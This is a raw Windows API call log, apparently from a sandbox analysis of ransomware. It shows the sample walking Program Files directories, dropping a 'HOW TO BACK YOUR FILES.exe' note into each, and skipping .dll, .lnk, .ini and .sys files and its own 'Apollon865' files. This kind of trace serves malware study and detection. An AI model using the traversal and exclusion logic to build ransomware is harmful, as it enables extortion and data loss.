	[0052.346] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="TableTextServiceSimplifiedQuanPin.txt" | out: lpString1="TableTextServiceSimplifiedQuanPin.txt") returned="TableTextServiceSimplifiedQuanPin.txt"
	[0052.346] lstrlenW (lpString="TableTextServiceSimplifiedQuanPin.txt") returned 37
	[0052.346] lstrlenW (lpString="Apollon865") returned 10
	[0052.346] lstrcmpiW (lpString1="uanPin.txt", lpString2="Apollon865") returned 1
	[0052.346] lstrlenW (lpString=".dll") returned 4
	[0052.346] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2=".dll") returned 1
	[0052.346] lstrlenW (lpString=".lnk") returned 4
	[0052.346] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2=".lnk") returned 1
	[0052.346] lstrlenW (lpString=".ini") returned 4
	[0052.346] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2=".ini") returned 1
	[0052.346] lstrlenW (lpString=".sys") returned 4
	[0052.346] lstrcmpiW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2=".sys") returned 1
	[0052.346] lstrlenW (lpString="TableTextServiceSimplifiedQuanPin.txt") returned 37
	[0052.346] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="TableTextServiceSimplifiedShuangPin.txt" | out: lpString1="TableTextServiceSimplifiedShuangPin.txt") returned="TableTextServiceSimplifiedShuangPin.txt"
	[0052.346] lstrlenW (lpString="TableTextServiceSimplifiedShuangPin.txt") returned 39
	[0052.346] lstrlenW (lpString="Apollon865") returned 10
	[0052.347] lstrcmpiW (lpString1="angPin.txt", lpString2="Apollon865") returned -1
	[0052.347] lstrlenW (lpString=".dll") returned 4
	[0052.347] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2=".dll") returned 1
	[0052.347] lstrlenW (lpString=".lnk") returned 4
	[0052.347] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2=".lnk") returned 1
	[0052.347] lstrlenW (lpString=".ini") returned 4
	[0052.347] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2=".ini") returned 1
	[0052.347] lstrlenW (lpString=".sys") returned 4
	[0052.347] lstrcmpiW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2=".sys") returned 1
	[0052.347] lstrlenW (lpString="TableTextServiceSimplifiedShuangPin.txt") returned 39
	[0052.347] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="TableTextServiceSimplifiedZhengMa.txt" | out: lpString1="TableTextServiceSimplifiedZhengMa.txt") returned="TableTextServiceSimplifiedZhengMa.txt"
	[0052.347] lstrlenW (lpString="TableTextServiceSimplifiedZhengMa.txt") returned 37
	[0052.347] lstrlenW (lpString="Apollon865") returned 10
	[0052.347] lstrcmpiW (lpString1="hengMa.txt", lpString2="Apollon865") returned 1
	[0052.347] lstrlenW (lpString=".dll") returned 4
	[0052.347] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2=".dll") returned 1
	[0052.347] lstrlenW (lpString=".lnk") returned 4
	[0052.347] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2=".lnk") returned 1
	[0052.347] lstrlenW (lpString=".ini") returned 4
	[0052.347] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2=".ini") returned 1
	[0052.347] lstrlenW (lpString=".sys") returned 4
	[0052.347] lstrcmpiW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2=".sys") returned 1
	[0052.347] lstrlenW (lpString="TableTextServiceSimplifiedZhengMa.txt") returned 37
	[0052.347] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="TableTextServiceYi.txt" | out: lpString1="TableTextServiceYi.txt") returned="TableTextServiceYi.txt"
	[0052.347] lstrlenW (lpString="TableTextServiceYi.txt") returned 22
	[0052.347] lstrlenW (lpString="Apollon865") returned 10
	[0052.347] lstrcmpiW (lpString1="viceYi.txt", lpString2="Apollon865") returned 1
	[0052.347] lstrlenW (lpString=".dll") returned 4
	[0052.347] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2=".dll") returned 1
	[0052.347] lstrlenW (lpString=".lnk") returned 4
	[0052.347] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2=".lnk") returned 1
	[0052.347] lstrlenW (lpString=".ini") returned 4
	[0052.347] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2=".ini") returned 1
	[0052.348] lstrlenW (lpString=".sys") returned 4
	[0052.348] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2=".sys") returned 1
	[0052.348] lstrlenW (lpString="TableTextServiceYi.txt") returned 22
	[0052.348] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows NT\\TableTextService\\en-US", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows NT\\TableTextService\\en-US") returned="C:\\Program Files (x86)\\Windows NT\\TableTextService\\en-US"
	[0052.348] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591640 | out: hHeap=0x580000) returned 1
	[0052.348] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc68 | out: hHeap=0x580000) returned 1
	[0052.348] lstrlenW (lpString="C:\\Program Files (x86)\\Windows NT\\TableTextService\\en-US") returned 56
	[0052.348] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows NT\\TableTextService\\en-US" | out: lpString1="C:\\Program Files (x86)\\Windows NT\\TableTextService\\en-US") returned="C:\\Program Files (x86)\\Windows NT\\TableTextService\\en-US"
	[0052.348] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.348] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows nt\\tabletextservice\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.352] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.352] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows NT\\TableTextService\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x37461910, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37461910, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0052.352] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.352] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.352] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="TableTextService.dll.mui" | out: lpString1="TableTextService.dll.mui") returned="TableTextService.dll.mui"
	[0052.352] lstrlenW (lpString="TableTextService.dll.mui") returned 24
	[0052.352] lstrlenW (lpString="Apollon865") returned 10
	[0052.352] lstrcmpiW (lpString1="ce.dll.mui", lpString2="Apollon865") returned 1
	[0052.352] lstrlenW (lpString=".dll") returned 4
	[0052.352] lstrcmpiW (lpString1="TableTextService.dll.mui", lpString2=".dll") returned 1
	[0052.352] lstrlenW (lpString=".lnk") returned 4
	[0052.352] lstrcmpiW (lpString1="TableTextService.dll.mui", lpString2=".lnk") returned 1
	[0052.352] lstrlenW (lpString=".ini") returned 4
	[0052.352] lstrcmpiW (lpString1="TableTextService.dll.mui", lpString2=".ini") returned 1
	[0052.352] lstrlenW (lpString=".sys") returned 4
	[0052.352] lstrcmpiW (lpString1="TableTextService.dll.mui", lpString2=".sys") returned 1
	[0052.352] lstrlenW (lpString="TableTextService.dll.mui") returned 24
	[0052.352] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows NT\\Accessories", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows NT\\Accessories") returned="C:\\Program Files (x86)\\Windows NT\\Accessories"
	[0052.352] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5528 | out: hHeap=0x580000) returned 1
	[0052.352] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc48 | out: hHeap=0x580000) returned 1
	[0052.352] lstrlenW (lpString="C:\\Program Files (x86)\\Windows NT\\Accessories") returned 45
	[0052.352] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows NT\\Accessories" | out: lpString1="C:\\Program Files (x86)\\Windows NT\\Accessories") returned="C:\\Program Files (x86)\\Windows NT\\Accessories"
	[0052.352] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.353] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows NT\\Accessories\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows nt\\accessories\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.366] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.366] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows NT\\Accessories\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x37487a70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37487a70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0052.366] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.366] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.366] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="en-US" | out: lpString1="en-US") returned="en-US"
	[0052.366] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc48
	[0052.366] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x68) returned 0x5994c0
	[0052.366] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc50 | out: ListHead=0x5b76b0, ListEntry=0x59fc50) returned 0x59fc30
	[0052.366] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37461910, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x37461910, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0052.366] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0052.366] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8513b27, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa8513b27, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa8585f48, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x40ce00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wordpad.exe", cAlternateFileName="")) returned 1
	[0052.367] lstrcmpiW (lpString1="wordpad.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.367] lstrcmpiW (lpString1="wordpad.exe", lpString2="Apollon865.txt.exe") returned 1
	[0052.367] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="wordpad.exe" | out: lpString1="wordpad.exe") returned="wordpad.exe"
	[0052.367] lstrlenW (lpString="wordpad.exe") returned 11
	[0052.367] lstrlenW (lpString="Apollon865") returned 10
	[0052.367] lstrcmpiW (lpString1="ordpad.exe", lpString2="Apollon865") returned 1
	[0052.367] lstrlenW (lpString=".dll") returned 4
	[0052.367] lstrcmpiW (lpString1="wordpad.exe", lpString2=".dll") returned 1
	[0052.367] lstrlenW (lpString=".lnk") returned 4
	[0052.367] lstrcmpiW (lpString1="wordpad.exe", lpString2=".lnk") returned 1
	[0052.367] lstrlenW (lpString=".ini") returned 4
	[0052.367] lstrcmpiW (lpString1="wordpad.exe", lpString2=".ini") returned 1
	[0052.367] lstrlenW (lpString=".sys") returned 4
	[0052.367] lstrcmpiW (lpString1="wordpad.exe", lpString2=".sys") returned 1
	[0052.367] lstrlenW (lpString="wordpad.exe") returned 11
	[0052.367] lstrcpyW (in: lpString1=0x2d3e5ac, lpString2="WordpadFilter.dll" | out: lpString1="WordpadFilter.dll") returned="WordpadFilter.dll"
	[0052.367] lstrlenW (lpString="WordpadFilter.dll") returned 17
	[0052.367] lstrlenW (lpString="Apollon865") returned 10
	[0052.367] lstrcmpiW (lpString1="Filter.dll", lpString2="Apollon865") returned 1
	[0052.367] lstrlenW (lpString=".dll") returned 4
	[0052.367] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2=".dll") returned 1
	[0052.367] lstrlenW (lpString=".lnk") returned 4
	[0052.367] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2=".lnk") returned 1
	[0052.367] lstrlenW (lpString=".ini") returned 4
	[0052.367] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2=".ini") returned 1
	[0052.367] lstrlenW (lpString=".sys") returned 4
	[0052.367] lstrcmpiW (lpString1="WordpadFilter.dll", lpString2=".sys") returned 1
	[0052.367] lstrlenW (lpString="WordpadFilter.dll") returned 17
	[0052.367] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows NT\\Accessories\\en-US", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows NT\\Accessories\\en-US") returned="C:\\Program Files (x86)\\Windows NT\\Accessories\\en-US"
	[0052.367] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994c0 | out: hHeap=0x580000) returned 1
	[0052.367] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc48 | out: hHeap=0x580000) returned 1
	[0052.368] lstrlenW (lpString="C:\\Program Files (x86)\\Windows NT\\Accessories\\en-US") returned 51
	[0052.368] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows NT\\Accessories\\en-US" | out: lpString1="C:\\Program Files (x86)\\Windows NT\\Accessories\\en-US") returned="C:\\Program Files (x86)\\Windows NT\\Accessories\\en-US"
	[0052.368] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.368] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows NT\\Accessories\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows nt\\accessories\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.371] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.371] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows NT\\Accessories\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x37487a70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37487a70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0052.372] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.372] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.372] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="wordpad.exe.mui" | out: lpString1="wordpad.exe.mui") returned="wordpad.exe.mui"
	[0052.372] lstrlenW (lpString="wordpad.exe.mui") returned 15
	[0052.372] lstrlenW (lpString="Apollon865") returned 10
	[0052.372] lstrcmpiW (lpString1="ad.exe.mui", lpString2="Apollon865") returned -1
	[0052.372] lstrlenW (lpString=".dll") returned 4
	[0052.372] lstrcmpiW (lpString1="wordpad.exe.mui", lpString2=".dll") returned 1
	[0052.372] lstrlenW (lpString=".lnk") returned 4
	[0052.372] lstrcmpiW (lpString1="wordpad.exe.mui", lpString2=".lnk") returned 1
	[0052.372] lstrlenW (lpString=".ini") returned 4
	[0052.372] lstrcmpiW (lpString1="wordpad.exe.mui", lpString2=".ini") returned 1
	[0052.372] lstrlenW (lpString=".sys") returned 4
	[0052.372] lstrcmpiW (lpString1="wordpad.exe.mui", lpString2=".sys") returned 1
	[0052.372] lstrlenW (lpString="wordpad.exe.mui") returned 15
	[0052.372] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Media Player", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Media Player") returned="C:\\Program Files (x86)\\Windows Media Player"
	[0052.372] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x598468 | out: hHeap=0x580000) returned 1
	[0052.372] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc28 | out: hHeap=0x580000) returned 1
	[0052.372] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Media Player") returned 43
	[0052.372] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Media Player" | out: lpString1="C:\\Program Files (x86)\\Windows Media Player") returned="C:\\Program Files (x86)\\Windows Media Player"
	[0052.372] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.372] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Media Player\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows media player\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.376] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.376] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x374adbd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x374adbd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0052.376] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.376] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.376] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="en-US" | out: lpString1="en-US") returned="en-US"
	[0052.376] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc28
	[0052.376] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x64) returned 0x5994c0
	[0052.376] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc30 | out: ListHead=0x5b76b0, ListEntry=0x59fc30) returned 0x5b7c50
	[0052.376] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x374adbd0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x374adbd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0052.376] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0052.377] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Icons", cAlternateFileName="")) returned 1
	[0052.377] lstrcmpiW (lpString1="Icons", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.377] lstrcmpiW (lpString1="Icons", lpString2="Apollon865.txt.exe") returned 1
	[0052.377] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="Icons" | out: lpString1="Icons") returned="Icons"
	[0052.377] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc48
	[0052.377] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x64) returned 0x599530
	[0052.377] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc50 | out: ListHead=0x5b76b0, ListEntry=0x59fc50) returned 0x59fc30
	[0052.377] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81351db4, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81351db4, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Media Renderer", cAlternateFileName="MEDIAR~1")) returned 1
	[0052.377] lstrcmpiW (lpString1="Media Renderer", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.377] lstrcmpiW (lpString1="Media Renderer", lpString2="Apollon865.txt.exe") returned 1
	[0052.377] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="Media Renderer" | out: lpString1="Media Renderer") returned="Media Renderer"
	[0052.377] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc68
	[0052.377] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x76) returned 0x591640
	[0052.377] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc70 | out: ListHead=0x5b76b0, ListEntry=0x59fc70) returned 0x59fc50
	[0052.377] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5da15071, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x5da15071, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9b03e9f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x25a00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mpvis.DLL", cAlternateFileName="")) returned 1
	[0052.377] lstrcmpiW (lpString1="mpvis.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.377] lstrcmpiW (lpString1="mpvis.DLL", lpString2="Apollon865.txt.exe") returned 1
	[0052.377] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="mpvis.DLL" | out: lpString1="mpvis.DLL") returned="mpvis.DLL"
	[0052.377] lstrlenW (lpString="mpvis.DLL") returned 9
	[0052.377] lstrlenW (lpString="Apollon865") returned 10
	[0052.377] lstrlenW (lpString=".dll") returned 4
	[0052.377] lstrcmpiW (lpString1="mpvis.DLL", lpString2=".dll") returned 1
	[0052.377] lstrlenW (lpString=".lnk") returned 4
	[0052.377] lstrcmpiW (lpString1="mpvis.DLL", lpString2=".lnk") returned 1
	[0052.377] lstrlenW (lpString=".ini") returned 4
	[0052.377] lstrcmpiW (lpString1="mpvis.DLL", lpString2=".ini") returned 1
	[0052.377] lstrlenW (lpString=".sys") returned 4
	[0052.377] lstrcmpiW (lpString1="mpvis.DLL", lpString2=".sys") returned 1
	[0052.377] lstrlenW (lpString="mpvis.DLL") returned 9
	[0052.377] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="Network Sharing" | out: lpString1="Network Sharing") returned="Network Sharing"
	[0052.377] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd48
	[0052.378] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x78) returned 0x5916c0
	[0052.378] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd50 | out: ListHead=0x5b76b0, ListEntry=0x59fd50) returned 0x59fc70
	[0052.378] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3e72dbc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3e72dbc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3e98f1d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1eb600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="setup_wm.exe", cAlternateFileName="")) returned 1
	[0052.378] lstrcmpiW (lpString1="setup_wm.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.378] lstrcmpiW (lpString1="setup_wm.exe", lpString2="Apollon865.txt.exe") returned 1
	[0052.378] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="setup_wm.exe" | out: lpString1="setup_wm.exe") returned="setup_wm.exe"
	[0052.378] lstrlenW (lpString="setup_wm.exe") returned 12
	[0052.378] lstrlenW (lpString="Apollon865") returned 10
	[0052.378] lstrcmpiW (lpString1="tup_wm.exe", lpString2="Apollon865") returned 1
	[0052.378] lstrlenW (lpString=".dll") returned 4
	[0052.378] lstrcmpiW (lpString1="setup_wm.exe", lpString2=".dll") returned 1
	[0052.378] lstrlenW (lpString=".lnk") returned 4
	[0052.378] lstrcmpiW (lpString1="setup_wm.exe", lpString2=".lnk") returned 1
	[0052.378] lstrlenW (lpString=".ini") returned 4
	[0052.378] lstrcmpiW (lpString1="setup_wm.exe", lpString2=".ini") returned 1
	[0052.378] lstrlenW (lpString=".sys") returned 4
	[0052.378] lstrcmpiW (lpString1="setup_wm.exe", lpString2=".sys") returned 1
	[0052.378] lstrlenW (lpString="setup_wm.exe") returned 12
	[0052.378] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="Skins" | out: lpString1="Skins") returned="Skins"
	[0052.378] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd68
	[0052.378] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x64) returned 0x5995a0
	[0052.378] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd70 | out: ListHead=0x5b76b0, ListEntry=0x59fd70) returned 0x59fd50
